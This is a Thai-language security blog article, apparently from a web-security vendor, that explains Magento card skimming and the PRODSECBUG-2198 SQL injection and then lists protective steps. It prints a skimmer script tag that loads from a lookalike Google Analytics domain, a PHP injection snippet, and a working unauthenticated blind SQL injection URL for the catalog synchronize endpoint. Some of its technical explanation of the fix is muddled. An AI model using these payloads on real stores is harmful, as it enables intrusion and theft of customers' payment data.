Computer >> บทช่วยสอนคอมพิวเตอร์ >  >> ระบบเครือข่าย >> ความปลอดภัยเครือข่าย

Magento Card Skimming: การป้องกันและการปกป้องร้านค้าออนไลน์ของคุณ

Magento Card Skimming เป็นการขโมยข้อมูลบัตรเครดิต/เดบิตอย่างผิดกฎหมาย โดยการฉีดสคริปต์อันตรายที่เรียกว่า 'skimmers' บนเว็บไซต์ Magento หากคุณเป็นเจ้าของเว็บไซต์ที่ขับเคลื่อนด้วย Magento บทความนี้จึงเป็นสำหรับคุณ ที่นี่ เรานำเสนอ แหล่งข้อมูลที่ดีพร้อมรายละเอียดที่จำเป็นทั้งหมดเกี่ยวกับปัญหาความปลอดภัย Magento card skimming

ในบทความนี้ เราจะอภิปรายว่า Magento card skimming คืออะไร และมันส่งผลต่อเว็บไซต์ Magento อย่างไร (พร้อมหลักฐานแนวคิด) เพิ่มเติม เราจะเรียนรู้เคล็ดลับการทำงานบางอย่างเกี่ยวกับวิธีที่คุณสามารถทำให้เว็บไซต์ของคุณมีภูมิคุ้มกันจากปัญหานี้ได้ ดังนั้น มาเริ่มเลย

บทความเกี่ยวข้อง – Magecart Attacks บนร้าน Magento คืออะไรและวิธีป้องกัน

Magento card skimming คืออะไร?

Magento เป็นแพลตฟอร์มอีคอมเมิร์ซโอเพนซอร์สที่พัฒนาด้วย PHP เป็นระบบจัดการเนื้อหาแบบ self-hosted ปัจจุบันเป็นของ Adobe ประมาณ 250,000+ เว็บไซต์ใช้ Magento ขับเคลื่อนเว็บไซต์อีคอมเมิร์ซ ส่วนใหญ่เป็นของเจ้าของธุรกิจอีคอมเมิร์ซขนาดใหญ่ในสหรัฐอเมริกา ดังนั้น Magento จึงมีภาระมากในการรักษาความปลอดภัยประสบการณ์ลูกค้า

Card skimming ในทางตรงกันข้าม เป็นการคัดลอกข้อมูลจากบัตรเครดิตและเดบิตอย่างผิดกฎหมายโดยอุปกรณ์ skimming แบบกายภาพ นี่คือวิธีที่ Magento และ card skimming เกี่ยวข้องกัน

Magento card skimming เป็นรูปแบบหนึ่งของ web skimming ที่แฮกเกอร์ขโมยข้อมูลการชำระเงินบน Magento ผ่านสคริปต์ของบุคคลที่สาม สคริปต์นี้ช่วยให้พวกเขาขโมยข้อมูลการธนาคารสำคัญ เช่น ชื่อเจ้าของ เลขบัตรเครดิต/เดบิต หมายเลข CVV และวันหมดอายุ แฮกเกอร์มักนำข้อมูลนี้ไปขายในตลาดดำ

เกี่ยวกับช่องโหว่ PRODSECBUG-2198 Exploit

ปัญหา PRODSECBUG-2198 ถูกรายงานครั้งแรกเมื่อ 9 พฤศจิกายน 2561 บน Bugcrowd โดยพื้นฐาน PRODSECBUG-2198 คือโค้ดที่มีช่องโหว่ซึ่งอนุญาตให้เกิด SQL injection ใน Magento ช่องโหว่นี้อนุญาตให้ผู้ใช้ที่ไม่ได้รับอนุญาตรันโค้ด arbitrary ซึ่งอาจทำให้ข้อมูลละเอียดอ่อนรั่วไหล

เร็วๆ นี้ บั๊กถูกทำเครื่องหมายเป็น P1 ช่องโหว่ P1 ตาม Bugcrowd คือช่องโหว่ที่สามารถทำให้เกิดการเพิ่มสิทธิ์ (privilege escalation) ได้ เนื่องจากนี้ ผู้ใช้ทุกคนสามารถยกระดับเป็นสิทธิ์ผู้ดูแลระบบจากระดับสิทธิ์ที่ต่ำกว่าได้ เพิ่มเติม ยังอนุญาตให้รันโค้ดระยะไกล (remote code execution) ขโมยทางการเงิน ฯลฯ ช่องโหว่นี้โจมตีรุ่น Magento ต่อไปนี้:

  • Magento Commerce < 1.14.4.1
  • Magento Open Source < 1.9.4.1
  • Magento < 2.1.17
  • Magento < 2.2.8
  • Magento < 2.3.1

Skimmer ชื่อ Google

ในกรณี Magento skimming ล่าสุด เราเห็นแฮกเกอร์ใช้โดเมน Google ปลอมเพื่อขโมยรายละเอียดการชำระเงิน ในการโจมตีนี้ โค้ด JavaScript อันตรายถูกโหลดจากโดเมนที่เรียกว่า – google-analytîcs.com หรือ xn--google-analytcs-xpb.com.

หากคุณดูอย่างใกล้ชิด จะเห็นว่าเป็นการเล่นชื่อบนโดเมน Google จริง ดังนั้น การโจมตี skimming นี้ใช้ฟิชชิงเป็นวิธีในการดึงข้อมูลการชำระเงินที่ละเอียดอ่อน สคริปต์มีลักษณะประมาณนี้ –

<script type="text/javascript" src="//google-analytîcs.com/www.[redacted].com/3f5cf4657d5d9.js"></script>

เพิ่มเติม สคิมเมอร์นี้จับข้อมูลโดยใช้ JavaScript ที่โหลดและ document.getElementsByTagName หากไม่มีเครื่องมือนักพัฒนาเปิดอยู่ สคิมเมอร์จะส่งข้อมูลที่ขโมยไปยังโดเมน Google ปลอม – google-analytîcs.com หรือ xn--google-analytcs-xpb.com.

อย่างไรก็ตาม มันแสดงพฤติกรรมแปลกเมื่อมีเครื่องมือนักพัฒนาเปิดอยู่บนเว็บไซต์ของคุณ มันตรวจจับและหยุดกระบวนการส่งข้อมูลกลางคัน พฤติกรรมนี้แตกต่างกันไปขึ้นอยู่กับซอฟต์แวร์เบราว์เซอร์ที่คุณใช้

Magento Card Skimming: หลักฐานแนวคิด (Proof of Concept)

หลักฐานแนวคิดเกี่ยวกับช่องโหว่ด้านความปลอดภัยนี้ระบุไว้ดังนี้ เขียนด้วย Python และสิ่งหลักที่ทำให้เกิดปัญหา Magento Card Skimming

  • โค้ดที่นี่สร้างเซสชันเบราว์เซอร์จำลองกับ URL และข้อมูลเซสชันสุ่ม ทำได้โดยใช้ Browser class และฟังก์ชันการได้รับเซสชัน
  • อ็อบเจกต์ของ Browser class พร้อมรายละเอียดเซสชันถูกส่งไปยัง SQL injection class
  • SQL injection เพิ่มข้อมูล payload ลงใน URL เซสชัน สร้างผลิตภัณฑ์ และดึงข้อมูลสำคัญจากฐานข้อมูลของเว็บไซต์ SQL injection payload ยังสามารถแก้ไขเพื่อได้รับการเข้าถึงข้อมูลแบ็กเอนด์ที่มีสิทธิ์ได้
  • โจมตีได้รับข้อมูลเกี่ยวกับธุรกรรมล่าสุดและข้อมูลการธนาคารของผู้ใช้
Magento Card Skimming: การป้องกันและการปกป้องร้านค้าออนไลน์ของคุณ
Magento Card Skimming: การป้องกันและการปกป้องร้านค้าออนไลน์ของคุณ
Magento Card Skimming: การป้องกันและการปกป้องร้านค้าออนไลน์ของคุณ
Magento Card Skimming: การป้องกันและการปกป้องร้านค้าออนไลน์ของคุณ
Magento Card Skimming: การป้องกันและการปกป้องร้านค้าออนไลน์ของคุณ
Magento Card Skimming: การป้องกันและการปกป้องร้านค้าออนไลน์ของคุณ

ช่องโหว่นี้ติดเชื้อเว็บไซต์ Magento ของคุณอย่างไร?

Magento มีโค้ดเบสใหญ่ประมาณ 2 ล้านบรรทัด PHP ทำให้การตรวจสอบและค้นหาช่องโหว่เป็นงานที่หนักหนา อย่างไรก็ตาม เมื่อทีมหัคเกอร์จริยธรรมของเราตรวจสอบโค้ด พวกเขาเน้นเป้าหมายที่โค้ดที่รับผิดชอบ ORM และการจัดการฐานข้อมูล

พื้นที่ที่บั๊กของ Magento Card Skimming มีอยู่คือ:

1. ในฟังก์ชัน prepareSQLCondition

ฟังก์ชัน public นี้อยู่ภายในหนึ่งในคลาสหลักที่จัดการฐานข้อมูล และสามารถค้นหาได้ที่

MagentoFrameworkDBAdapterPdoMysql

โค้ดฟังก์ชันมีดังนี้:

Magento Card Skimming: การป้องกันและการปกป้องร้านค้าออนไลน์ของคุณ
Magento Card Skimming: การป้องกันและการปกป้องร้านค้าออนไลน์ของคุณ

การเข้าใจช่องโหว่

มาเข้าใจการทำงานของช่องโหว่โดยเน้นสายตาที่บรรทัดที่ทำเครื่องหมาย ในบรรทัดที่ทำเครื่องหมาย [1] condition alias ถูกเชื่อมโยงกับรูปแบบโดยใช้ $conditionKeyMap นี่แทนที่ทุกตัวอักษร '?' ภายใน alias ด้วยเวอร์ชันที่ quoted ของค่าที่กำหนดโดยใช้ฟังก์ชัน _prepareQuotedSqlCondition() ในบรรทัดที่ 33 ตามตรรกะที่เขียนในบรรทัด 30-35 ตอนนี้พิจารณาอินสแตนซ์โค้ดต่อไปนี้:

<?php $db->prepareSqlCondition('username', ['regexp' => 'my_value']); => $conditionKeyMap['regexp'] = "{{fieldName}} REGEXP ?"; => $query = "username REGEXP 'my_value'";

ตอนนี้ปัญหาเกิดขึ้นเมื่อเงื่อนไข "from" และ "to" ถูกใช้ร่วมกันในบรรทัดที่ 30 ตรรกะในโค้ดนั้นรับรองว่าฟิลด์อยู่ในช่วง ให้ดูโค้ดสนิปเพ็ตนี้เพื่อความเข้าใจที่ดีขึ้น:

<?php $db->prepareSqlCondition('price', [ 'from' => '100' 'to' => '1000' ]); $query = "price >= '100' AND price <= '1000'";

ตามตรรกะการดำเนินการ เมื่อเงื่อนไขทั้งสองมีอยู่ จะจัดการ "from" ก่อนแล้วค่อย "to" แต่ข้อผิดพลาดสำคัญเกิดขึ้นที่บรรทัดที่ 38 คำสั่งที่ "from" สร้างขึ้นถูกนำไปใช้จัดรูปแบบต่อ

ตอนนี้ที่ทุก "?" จะถูกแทนที่ด้วยค่าที่กำหนด หากเครื่องหมายคำถามเกิดขึ้นในค่าสำหรับ "from" มันจะถูกแทนที่ด้วยเวอร์ชัน quoted ของค่าที่กำหนดให้ "to" เพื่อดำเนินการโจมตี SQL injection ที่ถูกต้อง โจมตีสามารถใช้โค้ด exploit ต่อไปนี้:

<?php $db->prepareSqlCondition(‘price’,[ ‘from’ => ‘x?’ ‘to’ => ‘ OR 1=1 -- -’ ]); -> $query = “price >= ‘x’ OR 1=1 -- -’’ AND price <= ’ OR 1=1 -- -’”

ข้อผิดพลาด แม้จะเล็กน้อย แต่สามารถกระทบอย่างมาก ข้อเท็จจริงที่น่าประหลาดใจคือ โค้ชิ้นนี้อยู่มาตั้งแต่ Magento version 1.x

2. ในฟังก์ชัน execute ของคลาส Synchronize

ช่องโหว่อีกประการหนึ่งพบในฟังก์ชัน execute ที่ตำแหน่งต่อไปนี้:

MagentoCatalogControllerProductFrontendActionSynchronize

โค้ดต้นฉบับ PHP ที่เปิดเผยปัญหาด้านความปลอดภัยมีดังนี้:

<?php public function execute() { $resultJson = $this->jsonFactory->create(); try { $productsData = $this->getRequest()->getParam(‘ids’,[]); $typeId = $this->getRequest()->getParam(‘type_id’,null); $this->synchronizer->syncActions($productsData, $typeId); } catch (Exception $e) { $resultsJson->setStatusHeader( ZendHttpResponse::STATUS_CODE_400, ZendHttpAbstractMessage::VERSION_11, ‘Bad Request’ ); } return $resultsJson->setData([]);

Call stack ที่นำไปสู่บั๊ก:

<?php $productsData = $this->getRequest()->getParam('ids', []); $this->synchronizer->syncActions($productsData, $typeId);   $collection->addFieldToFilter('product_id', $this->getProductIdsByActions($productsData));   $this->_translateCondition($field, $condition);   $this->_getConditionSql($this->getConnection()->quoteIdentifier($field), $condition);   $this->getConnection()->prepareSqlCondition($fieldName, $condition);  

โค้ดที่มีช่องโหว่ชิ้นนี้มีอยู่ตั้งแต่ v2.2.0 ของ Magento ตัวอย่าง URL ที่สามารถทำให้เกิด unauthenticated blind SQL injection ที่เกี่ยวข้องกับ Magento Card Skimming มีดังนี้:

https://magento2website.com/catalog/product_frontend_action/synchronize?   type_id=recently_products&   ids[0][added_at]=&   ids[0][product_id][from]=?&   ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -
Magento Card Skimming: การป้องกันและการปกป้องร้านค้าออนไลน์ของคุณ
Magento Card Skimming: การป้องกันและการปกป้องร้านค้าออนไลน์ของคุณ

ตอนนี้ข้อมูลสามารถอ่านจากฐานข้อมูลได้ โจมตีสามารถดึงข้อมูลประจำตัวสำหรับบัญชีผู้ดูแลระบบและใช้เข้าถึงแบ็กเอนด์ พวกเขาอาจขโมยรายละเอียดการธนาคารและข้อมูลทางการเงินอื่นๆ จากฐานข้อมูลผู้ใช้และฐานข้อมูลธุรกรรม โจมตีอาจใช้ข้อมูลนี้และกระทำอาชญากรรมทางไซเบอร์ เช่น การฉ้อโกงอีคอมเมิร์ซ ฟิชชิง หรือแม้แต่วิชชิง (vishing) โจมตีอาจโฮสต์มัลแวร์บนเว็บไซต์ของคุณซึ่งอาจเป็นอุปสรรคต่อชื่อเสียงขององค์กรในแพลตฟอร์มอีคอมเมิร์ซ เว็บไซต์ของคุณอาจถูกแบนโดยเครื่องมือค้นหา ซึ่งนำไปสู่การลดลงของトラフィกออร์แกนิก

วิธีปกป้องเว็บไซต์จาก Magento Card Skimming

ตอนนี้เราเข้าใจการทำงานของ Magento Card Skimming อย่างละเอียดแล้ว มาเข้าใจว่าจะปกป้องจากการโจมตีแบบนี้ในอนาคตได้อย่างไร

  1. ทำความสะอาดฟังก์ชัน prepareSqlInjection

    สำหรับการลบบั๊กความปลอดภัยในฟังก์ชัน prepareSqlInjection โค้ดต้องเขียนเป็น:

    $query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);

    การอ้างอิงค่าที่ส่งผ่าน pointer 'this' จะป้องกันไม่ให้โจมตีเข้าถึงข้อมูลแบ็กเอนด์โดยตรง การใช้ตัวแปร pointer ยังเปิดใช้งานการนามธรรมข้อมูลและการเข้าถึงเฉพาะฟังก์ชันที่ได้รับอนุญาต

  2. การตรวจสอบข้อมูลนำเข้า (Input Validation)

    ค่าที่รับเข้ามาเป็นอินพุตในหน้าใดๆ ของเว็บไซต์ Magento ของคุณ ต้องได้รับการตรวจสอบก่อนส่งต่อไปประมวลผลแบ็กเอนด์ การตรวจสอบสามารถทำได้โดยใช้ฟังก์ชันที่เหมาะสมหรือตรรกะที่เหมาะสม ต้องเป็น foolproof ผู้ดูแลเว็บไซต์ต้องทำให้นักพัฒนาเขียนโค้ดที่ปลอดภัยและมีช่องโหว่น้อยที่สุด

  3. อัปเดตเพื่อความปลอดภัย

    ปลั๊กอินทั้งหมดที่ใช้โดยเว็บไซต์ Magento ของคุณ ต้องอัปเดตเป็นรุ่นล่าสุด ซึ่งจะรับรองประสบการณ์ที่ปลอดภัยสำหรับลูกค้าและผู้ใช้ แฮกเกอร์มักโจมตีเว็บไซต์ที่รันบนปลั๊กอินเก่า และสามารถโฮสต์มัลแวร์ซึ่งทำให้เว็บไซต์ช้าและแบนเว็บไซต์ Magento

  4. ตรวจสอบความปลอดภัย (Security Audit)

    ทำการตรวจสอบความปลอดภัยของไซต์อย่างละเอียด เพื่อให้แน่ใจว่าคุณไม่มีช่องโหว่ด้านความปลอดภัยในเว็บไซต์ ทำการตรวจสอบผู้ใช้ Magento ทั้งหมดและลบผู้ที่คุณไม่รู้จัก เพื่อค้นพบช่องโหว่และช่องโหว่การเขียนโค้ดทั้งหมด คุณสามารถรับ VAPT (Vulnerability Assessment and Penetration Testing) แบบมืออาชีพบนเว็บไซต์ของคุณ

  5. รายงานความผิดปกติด้านความปลอดภัย

    หากคุณพบร่องรอยของการละเมิดความปลอดภัยในฐานข้อมูลผู้ใช้ หรือฐานข้อมูลที่จัดการธุรกรรม ติดต่อฝ่ายที่เกี่ยวข้อง (ผู้ประมวลผลการชำระเงิน ลูกค้า และ בעלי עניין ของบริษัท) เพื่อจัดการสถานการณ์ฉุกเฉินนี้โดยเร็วที่สุด การละเมิดความปลอดภัยไม่ควรปล่อยไว้โดยไม่ได้รับการแก้ไข

  6. ระวังความเสี่ยงด้านความปลอดภัยของโฮสติ้งร่วม

    หากเว็บไซต์ของคุณโฮสต์ด้วยโฮสติ้งร่วม คุณต้องซื้อแผนสำรองข้อมูลและเพิ่มความปลอดภัย คุณในฐานะผู้ดูแลความปลอดภัยหรือผู้ดูแลเว็บไซต์ ต้องติดต่อผู้ให้บริการโฮสติ้งและรู้จักเว็บไซต์อื่นๆ ที่โฮสต์บนเซิร์ฟเวอร์โฮสติ้งร่วม อย่าสูญเสียชื่อเสียงออนไลน์ของธุรกิจด้วยการเลือกทางเลือกที่ประหยัด การอภิปรายโดยละเอียดเกี่ยวกับความเสี่ยงด้านความปลอดภัยของโฮสติ้งร่วมได้ทำไว้ในบทความก่อนหน้าของบล็อก Astra คุณสามารถอ่านได้ที่นี่

  7. การเข้ารหัสข้อมูล

    เข้ารหัสข้อมูลที่จัดเก็บในฐานข้อมูลเว็บไซต์ของคุณด้วยกลไกการเข้ารหัสที่แข็งแกร่ง จะให้โจมตีมีเวลายากในการบุกเข้าข้อมูลส่วนตัวของผู้ใช้หรือข้อมูลเชิง chiến lược ขององค์กร

  8. แก้ไขเส้นทางการโจมตี XSS

    แม้ในบทความนี้เราจะไม่พูดถึง XSS แต่เนื่องจากหน้าการชำระเงินของ Magento สร้างขึ้นด้วยฟอร์มที่ใช้ PHP จึงสำคัญที่จะใช้ฟังก์ชัน htmlspecialchars() เพื่อป้องกันการโจมตี $_SERVER[“PHP_SELF”]

  9. ติดตั้งไฟร์วอลล์

    การติดตั้ง Web Application Firewall เป็นอีกวิธีหนึ่งในการเพิ่มความปลอดภัยของเว็บไซต์ ไฟร์วอลล์ของ Astra เป็นระบบตรวจสอบต่อเนื่องสำหรับเว็บไซต์ของคุณ มันระบุและบล็อกภัยคุกคามที่จะมาถึงเว็บไซต์ 24*7 เพิ่มเติม มันพัฒนาต่อไปทุกครั้งที่มีการพยายามโจมตีและได้รับการกำหนดค่าที่ดีขึ้นสำหรับครั้งต่อไป

สำหรับบทความเพิ่มเติมเกี่ยวกับปัญหาความปลอดภัย Magento คลิก ที่นี่

พบว่าบทความมีประโยชน์? แชร์ให้เพื่อนบน Facebook, Twitter, LinkedIn